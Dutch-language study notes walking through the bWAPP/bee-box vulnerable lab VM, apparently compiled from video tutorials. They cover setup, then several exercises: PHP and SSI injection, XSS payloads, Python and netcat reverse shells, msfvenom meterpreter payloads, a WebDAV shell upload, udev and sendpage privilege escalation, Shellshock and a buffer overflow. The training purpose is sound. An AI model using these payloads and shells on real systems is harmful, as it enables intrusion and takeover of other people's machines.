Beebox
- Beebox setup
- A1 - HTML injection
- A2 - Broken Authentication & Session Management
- A3 - Cross-Site Scripting
- A4 - Insecure Direct Object References
- A5 - Security Misconfiguration
- A6 - Sensitive Data Exposure
- A7 - Missing Functional Level Access Control
- A8 - Cross-Site Request Forgery
- A9 - Using Known Vulnerable Components
- A10 - Unvalidated Redirects & Forwards
- Other Bugs
- Extras
- Links
Beebox setup
Deze VM is voor VMWare
gemaakt, en moet geconverteerd
worden naar VirtualBox
.
Conversie
Klik rechts op de map OVFTool
in de map
C:\Program Files (x86)\VMware\VMware Player
.
Klik op Open PowerShell window here
.
Je zit nu in PowerShell
in de map
OVFTool
.
Voer dan dit commando (aangepast) uit:
.\ovftool.exe "C:\Users\Henk\Desktop\Web App Pentesting\bee-box\bee-box.vmx"
"C:\Users\Henk\Desktop\Web App Pentesting\bee-box\beebox.ovf"
Je kan de output file openen in VirtualBox
Instellingen
Ga naar de settings van deze virtuele machine, die je het beste
Beebox
kan noemen.
Verander bij de network settings de adapter in
Host-only adapter
(zelfde als in Kali),
en start dan Beebox
Klik in Beebox
op het terminalicoontje (naast
System
), en tik in:
ifconfig
, om het IP-adres te zien.
Doe dan in Kali een ping van dit adres.
Tik dan in browser in Kali dit in:
http://Beebox IP address/bWAPP
A1 - HTML injection
- HTML Injection - Reflected (GET)
- HTML Injection - Reflected (POST)
- HTML Injection - Reflected (Current URL)
- HTML Injection - Stored (Blog)
- iFrame Injection
- LDAP Injection (Search)
- Mail Header Injection (SMTP)
- OS Command Injection
- OS Command Injection - Blind
- PHP Code Injection
- Server-Side Includes (SSI) Injection
- SQL Injection (GET/Search)
- SQL Injection (GET/Select)
- SQL Injection (POST/Search)
- SQL Injection (POST/Select)
- SQL Injection (AJAX/JSON/jQuery)
- SQL Injection (CAPTCHA)
- SQL Injection (Login Form/Hero)
- SQL Injection (Login Form/User)
- SQL Injection (SQLite)
- SQL Injection (Drupal)
- SQL Injection - Stored (Blog)
- SQL Injection - Stored (SQLite)
- SQL Injection - Stored (User-Agent)
- SQL Injection - Stored (XML)
- SQL Injection - Blind - Boolean-Based
- SQL Injection - Blind - Time-Based
- SQL Injection - Blind (SQLite)
- SQL Injection - Blind (Web Services/SOAP)
- XML/Path Injection (Login Form)
- XML/Path Injection (Search)
PHP Code Injection
Klik op het woord message
.
In de URL staat nu
http://192.168.56.119/bWAPP/phpi.php?message=test
Als je het woord 'test' in de URL vervangt door 'hi' krijg je dat op het
scherm.
Dus ga je er neerzetten phpinfo()
.
Vervolgens ga je met ?message=1;system('cat /proc/version');
proberen wat info over het OS te krijgen.
(Ik snap niet wat de functie van de '1;' is.)
Dan doe je
?message=test;system('grep -A 5 1001 /etc/passwd');
Je probeert hiermee 5 regels van de password file te zien, na user 1001,
wat de 1e user is die is aangemaakt (anders zou je service users te
zien krijgen).
(Zonder '1001' werkt het niet om duistere reden.)
?message=test;system('hostname');
levert
bee-box
?message=test;system('whoami');
levert
www-date
?message=test;system('pwd');
levert
/var/www/bWAPP
Server-Side Includes (SSI) Injection
Uitleg (Jesse Kuros)
SSI's are directives present on web applications used to feed an HTML page with dynamic contents. They are similar to CGI's, except that SSI's are used to execute some actions before the current page is loaded or while the page is being visualized. In order to do so, the web server analyzes SSI before supplying the page to the user.
Uitleg ( HackerSploit (YouTube))
SSI is server side scripting language that is used on the web. It is supported by Apache, ... and Microsoft IIS. The extensions that it uses are .HTML, .HTM, .SHTM
SSI's are used to execute some actions before the current page is loaded or when the page is being visualized. In order to do so, the web server analyzes the SSI before supplying the page to the user.
It is very commonly used to save time on developing web apps with dynamic content. For example, if you have a web app that has various web pages that require dynamic content, like the logo and header to load, SSI allows you to include this in every web page by using an include directive.
Uitvooering 1 (Jesse Kuros)
Als je 2 keer 'test' invoert
krijg je je IP adres te zien.
De URL heeft extensie .SHTML
, wat betekent dat
we met SSI's werken.
Probeer als first name <!--#exec cmd="hostname" -->
en als last name <!--#exec cmd="pwd" -->
Als resultaat krijg je
Hello bee-box /var/www/bWAPP
Doe in Kali:
cp /usr/share/webshells/php/php-backdoor.php
/var/www/html/php-backdoor.php.txt
Start Apache: service apache2 start
Download nu in Beebox
de net gemaakte file met
<!--#exec cmd="wget http://192.168.112.4/php-backdoor.php.txt -O
/var/www/bWAPP/shellz.php" -->
Je ziet daar geen resultaat van, behalve je IP-adres.
Om te zien of het gewerkt heeft ga je de browser in Kali naar
IP-adres/bWAPP/shellz.php
Je hebt nu een PHP shell.
8:30 Je gaat hiervan gebruik maken om een full interactive shell te krijgen.
Doe in Kali op de command line:
nc -nlvp 4444
Met het volgende Python commando krijg je een reverse shell op
Beebox
:
python -c
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.112.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
It connects back from Beebox to Kali with a shell.
Het commando voer je in in het 1e veld (execute
command:
)
van het shellz.php
scherm.
In Kali krijg je de meldingen
connect to [...] from (UNKNOWN) [...] 36420
en
/bin/sh: can't access tty; job control turned off
De laatste regel betekent dat je een limited shell hebt.
Met nog een Python commando spawnen we een tty shell:
python -c 'import pty; pty.spawn("/bin/bash")'
Uitvoering 2 (HackerSploit) - low
Het 1e wat je moet testen is wat de applicatie doet met vreemde tekens in
het invoerveld, bv. <!#=/."->
Vul in in het veld First name
:
<!--#exec cmd="whoami" -->
, en in het veld
Last name
:
<!--#exec cat /etc/passwd" -->
Het belangrijke is een reverse shell te krijgen.
Je voert iets willekeurigs in in 'First name', en in 'Last name' zet je
<!--#exec cmd=nc -nv IP address 1234 -e /bin/bash" -->
Uitvoering 2 (HackerSploit) - medium
Probeer <!--#exec cmd="whoami" -->
in het 'Last name' veld,
en je ziet dat het niet uitgevoerd wordt.
Omdat het security level verhoogd is, wordt er nu gecontroleerd op een aantal vreemde tekens. In dit geval blijkt het te gaan om de dubbele quotes.
A2 - Broken Authentication & Session Management
- Broken Authentication - CAPTCHA Bypassing
- Broken Authentication - Forgotten Function
- Broken Authentication - Insecure Login Forms
- Broken Authentication - Logout Management
- Broken Authentication - Password Attacks
- Broken Authentication - Weak Passwords
- Session Management - Administrative Portals
- Session Management - Cookies (HTTP Only)
- Session Management - Cookies (Secure)
- Session Management - Session ID in URL
- Session Management - Strong Sessions
A3 - Cross-Site Scripting
- Cross-Site Scripting - Reflected (GET)
- Cross-Site Scripting - Reflected (POST)
- Cross-Site Scripting - Reflected (JSON)
- Cross-Site Scripting - Reflected (AJAX/JSON)
- Cross-Site Scripting - Reflected (AJAX/XML)
- Cross-Site Scripting - Reflected (Back Button)
- Cross-Site Scripting - Reflected (Custom Header)
- Cross-Site Scripting - Reflected (Eval)
- Cross-Site Scripting - Reflected (HREF)
- Cross-Site Scripting - Reflected (Login Form)
- Cross-Site Scripting - Reflected (phpMyAdmin)
- Cross-Site Scripting - Reflected (PHP_SELF)
- Cross-Site Scripting - Reflected (Referer)
- Cross-Site Scripting - Reflected (User-Agent)
- Cross-Site Scripting - Stored (Blog)
- Cross-Site Scripting - Stored (Change Secret)
- Cross-Site Scripting - Stored (Cookies)
- Cross-Site Scripting - Stored (SQLiteManager)
- Cross-Site Scripting - Stored (User-Agent)
Cross-Site Scripting - Reflected (GET)
Zie Kuros
Vul 'test1' en 'test2' in in de velden voor- en achternaam, en je krijgt
Welcome test1 test2
Vul nu in het 1e veld dit in:
<script>alert('Vulnerable to XSS')</script>
Je krijgt een popup met de tekst.
Het 2e veld is ook kwetsbaar.
Cross-Site Scripting - Reflected (POST)
Cross-Site Scripting - Reflected (JSON)
Zie Kuros
JSON = JavaScript Object Notation. Het is in een lightweight data interchange format. Probeer hetzelfde stukje script als hiervoor.
Je krijgt een foutmelding. Kijk naar de source code van de pagina. Je ziet dat de "input is reflected in the JSON request" (tussen de 'script' tags). Dus om de JavaScript te laten werken "we need to filter the input appropriately".
"Ending the JavaScript and adding another one.
Just going to be executing by the web application.
Kopieer deze regel (geen idee waar hij vandaan komt):
"}]}';</script><script>alert('Vulnerable to XSS')</script>
Het kan ook op deze manier:
<svg onload=alert(1)>
Of op deze manier:
<img src=# onerror=alert(1)>
Cross-Site Scripting - Reflected (Back Button)
Zie Kuros
Ga eerst naar de portal, en klik dan op deze keuze en op
Hack
.
Als je dan op Back
klikt zou je terug op
de portal moeten komen.
Bekijk de source code van de page. Bij de 'onClick' van de back button, zie je dat de URL van de portal in de source code zit ('document.location.href').
Start Burp, met intercepting on.
Klik op Go back
.
Vervang in het raw packet de waarde van Referer
met Referer: Reflected XSS
(Klik diverse keren op Forward
en
opnieuw menukeuze en klik op Go back
), en
kijk weer in source code.
Zet intercepting uit.
Niet compleet!!!
Cross-Site Scripting - Reflected (Custom Header)
Zie Kuros
Cross-Site Scripting - Stored (Blog)
Zie Kuros
Je voert het bekende stukje JavaScript weer in:
<script>alert('Stored XSS')</script>
,
en klikt op Submit
'Stored XSS' wordt weergegeven.
Iedere keer als je de pagina ververst wordt de tekst ook weergegeven, omdat ie opgeslagen is in de applicatie.
Cross-Site Scripting - Stored (User-Agent)
Zie Kuros
We moeten wat code stoppen in de HTTP header van de User Agent.
Zet Burp aan en intercepting, en ververs de pagina.
Ga nu in het raw packet de waarde van User Agent vervangen met
<script>alert('Stored XSS')</script>
Klik op Forward
, en zet intercepting uit.
De tekst verschijnt, en ook iedere keer als je de pagina ververst.
Cross-Site Scripting - Stored (SQLiteManager)
Zie Kuros
Klik op de link, versie is 1.2.4
Er wordt al een hint gegeven, maar we proberen
SearchSploit
, een tool die Kali's beschikbare exploits doorzoekt.
Tik in (in Kali): searchsploit SQLite 1.2
Je ziet een XSS vulnerability die met main.php
te maken heeft.
Je doet cat /usr/share/exploitdb/
, en dan het stuk
wat onder Path
staat:
exploit/php/webapps/33154.txt
Kopiëer het stuk uit het voorbeeld.
Ga terug naar SQLite in Beebox, en plak het stuk achter de URL, maar dan
iets aangepast:
main.php?redirect=<script>alert('SQlite=vulnerable')
A4 - Insecure Direct Object References
- Insecure DOR (Change Secret)
- Insecure DOR (Reset Secret)
- Insecure DOR (Order Tickets)
A5 - Security Misconfiguration
- Arbitrary File Access (Samba)
- Cross-Domain Policy File (Flash)
- Cross-Origin Resource Sharing (AJAX)
- Cross-Site Tracing (XST)
- Denial-of-Service (Large Chunk Size)
- Denial-of-Service (Slow HTTP DoS)
- Denial-of-Service (SSL-Exhaustion)
- Denial-of-Service (XML Bomb)
- Insecure FTP Configuration
- Insecure SNMP Configuration
- Insecure WebDAV Configuration
- Local Privilege Escalation (Sendpage)
- Local Privilege Escalation (Udev)
- Man-in-the-Middle Attack (HTTP)
- Man-in-the-Middle Attack (SMTP)
- Old/Backup & Unreferenced Files
- Robots File
Insecure FTP Configuration
Vanuit Kali FTP naar Beebox:
ftp Beebox IP-address
Gebruik user anonymous
, en geen password.
Je kan nu gewoon een dir
-commando doen, en
misschien gevoelige informatie bekijken.
Insecure SNMP Configuration
Zie Kuros, 6:35.
Insecure WebDAV Configuration
Zie Kuros.
WebDAV is an extension of HTTP that allows remote creation and modification of documents on a web server. WebDAV is prone to a plethora of different vulnerabilities, ranging from unauthorized file access and upload, to execution of arbitrary code.
Om de directory op Beebox te vinden doen we dirb
in Kali:
dirb http://192.168.112.5 | grep -i webdav
Als we het pad hebben gaan we scannen op vulnerabilities:
nikto -h http://192.168.112.5/webdav/
Je krijgt o.a. als uitvoer:
OSVDB-3268: /webdav/: Directory indexing found
en nog een heleboel andere vulnerabilities.
We gaan (op Kali) de tool cadaver
gebruiken.
Die kan worden gebruikt als een WebDAV client.
cadaver http://192.168.112.5/webdav/
Doe ls
om de files in de directory te zien.
Met ?
zie je welke commando's je kan gebruiken.
Met het volgende commando probeer je alle bestanden op te halen:
mget *
Nu PHP shell uploaden, om een reverse connectie naar Kali te krijgen.
Dit commando is in een andere exercise ook al gedaan:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.112.4
LPORT=4446 -f raw -o evil.txt
Op Beebox (in de webdav directory):
put evil.txt
Op Kali:
msfconsole
use exploit/multi/handler
set LHOST IP address Kali
set LPORT 4446
set PAYLOAD php/meterpreter_reverse_tcp
exploit
In Beebox: voer de volgende URL in:
http://Beebox IP address/webdav/evil.txt
Dat werkt niet, omdat de file als tekst geinterpreteerd wordt.
Dus ga je de file hernoemen:
move evil.txt evil.php
Als je die invoert heb je een meterpreter sessie op Kali.
Local Privilege Escalation (Udev)
Deze manier om lage privileges te krijgen is eerder behandeld:
msfconsole
use exploit/multi/handler
set LHOST IP_address Kali
set LPORT 4446
set PAYLOAD php/meterpreter_reverse_tcp
run
Voer dit als URL in op Beebox:
bWAPP/rlfi.php?language=http://IP_address Kali/evil.txt
Op Beebox, tik in: shell
, dan
python -c 'import pty; pty.spawn("/bin/sh")'
Er zijn nu 2 methodes om privileges lokaal te escaleren.
Dit valt onder out-of-date software.
Nu gaan we naar root
escaleren.
Tik in pwd
, dan cd ..
(je bent dan in /var/www
),
dan evil
Je gaat cve-2009-1185.c
gebruiken
(leverages udef
, launching an executable from
the temp directory with root privileges).
Udef, before version 1.4.1 is not verifying whether a net link message
originates from kernel space.
This allows a local user, such as our www user to gain root privileges
by sending a netlink message.
Eerst moeten we een malicious payload maken en met wget
naar Beebox oversturen.
Kali:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.112.4 LPORT=5000 -f elf -o /var/www/html/run
(-p voor payload, IP van Kali, elf is file type Linux executable).
Dat de output naar run
gaat is belangrijk, omdat
de exploit naar zo'n file zoekt in de temp
folder.
Doe nu de volgende commando's in Beebox:
msfconsole
use exploit/multi/handler
set LHOST 192.168.112.4
set LPORT 5000
set PAYLOAD linux/x86/meterpreter/reverse_tcp
run
Nu (Beebox): wget http://192.168.112.4/run -o /tmp/run
Compile exploit:
gcc cve-2009-1185.c -o /tmp/privescalation
, en dan
chmod +x privescalation
Je moet nu het PID van udev
te weten komen, en
doet dat met ps aux | grep udev
Dan: ./privescalation Pid-1
Terug naar Kali (meterpreter sessie geopend).
Tik in: shell
, en dan
python -c 'import pty; pty.spawn("/bin/sh")'
Tik in: id
(zou root moeten zijn), en
whoami
Local Privilege Escalation (Sendpage)
Op Beebox:
cd /var/www/evil
We gaan nu gebruik maken van
cve-2009-2692.tar
tar -xvf cve-2009-2692.tar
We hoeven nu alleen het shell script uit te voeren:
cd cve-2009-2692
sh cve-2009-2692.sh
This is a vulnerability that applies to various Linux kernels that don't initialize all function pointers for socket operations and ...??? This allows local users, such as our www to trigger a null pointer dereferenced to gain privileges by using mmap to map page 0, placing arbitrary code on this page and then invoking an unavailable operation. Essentially what we did is use a shell script to map zero page, and it
A6 - Sensitive Data Exposure
- Base64 Encoding (Secret)
- BEAST/CRIME/BREACH Attacks
- Clear Text HTTP (Credentials)
- Heartbleed Vulnerability
- Host Header Attack (Reset Poisoning)
- HTML5 Web Storage (Secret)
- POODLE Vulnerability
- SSL 2.0 Deprecated Protocol
- Text Files (Accounts)
A7 - Missing Functional Level Access Control
- Directory Traversal - Directories
- Directory Traversal - Files
- Host Header Attack (Cache Poisoning)
- Host Header Attack (Reset Poisoning)
- Local File Inclusion (SQLiteManager)
- Remote and Local File Inclusion (RFI/LFI)
- Restrict Device Access
- Restrict Folder Access
- Server Side Request Forgery (SSRF)
- XML External Entity Attacks (XXE)
A8 - Cross-Site Request Forgery
- Cross-Site Request Forgery (Change Password)
- Cross-Site Request Forgery (Change Secret)
- Cross-Site Request Forgery (Transfer Amount)
A9 - Using Known Vulnerable Components
- Buffer Overflow (Local)
- Buffer Overflow (Remote)
- Drupal SQL Injection (Drupageddon)
- Heartbleed Vulnerability
- PHP CGI Remote Code Execution
- PHP Eval Function
- phpMyAdmin BBCode Tag XSS
- Shellshock Vulnerability (CGI)
- SQLiteManager Local File Inclusion
- SQLiteManager PHP Code Injection
- SQLiteManager XSS
Shellshock Vulnerability (CGI)
Zie Kuros
Beebox: Rechtsklik, en bekijk de source van de pagina.
Je vindt een script genaamd shellshock.sh
Vervang shellshock.php
in de URL door
het pad in de source.
Burp en intercepting aan, en reload page, dan
Send to Repeater
en zet intercepting uit.
Er is geen Referer HTTP Header in het raw packet, dus je maakt hem zelf:
Referer: () { bWAPP;}; echo; /bin/echo "Vulnerable to
Shell Shock"
Klik op Go
.
In het antwoord staat de tekst.
Doe op de command line in Kali: nc -nlvp 5050
Verander nu de code in het raw packet in:
Referer: () { bWAPP;}; echo; /bin/nc -e /bin/bash
IP Kali 5050
Klik Go
, en je hebt verbinding.
Buffer Overflow (Local)
Zie Kuros
Doe op de command line in Kali: nc -nlvp 5050
Plak in het veld Search a movie
:
$(nc -e /bin/bash
IP Kali 5050)
En er is verbinding.
Buffer Overflow (Remote)
Zie Kuros
Er zijn 354 characters nodig om de buffer te vullen.
We moeten ook weten op welke poort de vulnerable service luistert.
Daarvoor draai je nmap:
nmap -p1-1024 192.168.112.5 -T5
Alleen poort 666 is onverwacht (doom).
We doen:
msfvenom LHOST=192.168.112.4 LPORT=4448 -p
linux/x86/meterpreter/reverse_tcp -b '\x00' -f py
(excluding 0 byte, payload reverse_tcp, filetype is Python).
Het resultaat is een aantal bytes, die we gaan gebruiken in
het Python script (sploitbee.py
).
09:20 Het Python script uitgelegd.
Nu doe je op Kali:
msfconsole
use exploit/multi/handler
set LHOST Kali
set LPORT 4448
set PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit
Nu open je nieuwe terminal, en tikt in:
python sploitbee.py
Je hebt nu een meterpreter
shell, en kan
de commando's shell
en id
doen om te zien dat je root hebt.
A10 - Unvalidated Redirects & Forwards
- Unvalidated Redirects & Forwards (1)
- Unvalidated Redirects & Forwards (2)
Other Bugs
- ClickJacking (Movie Tickets)
- Client-Side Validation (Password)
- HTTP Parameter Pollution
- HTTP Response Splitting
- HTTP Verb Tampering
- Information Disclosure - Favicon
- Information Disclosure - Headers
- Information Disclosure - PHP Version
- Information Disclosure - Robots File
- Insecure iFrame - Login Form
- Unrestricted file Upload
Extras
- A.I.M - No-authentication Mode
- Client Access Policy File
- Cross-Domain Policy File
- Evil 666 Fuzzing Page
- Manual Intervention Required!
- Unprotected Admin Portal
- We Steal Secrets... (HTML)
- We Steal Secrets... (Plain)
- WSDL File (Web Services/SOAP)
Links
Reageer via E-mail (dalmolen@xs4all.nl)
Deze pagina is voor het laatst gewijzigd op: 24-01-23 14:08:47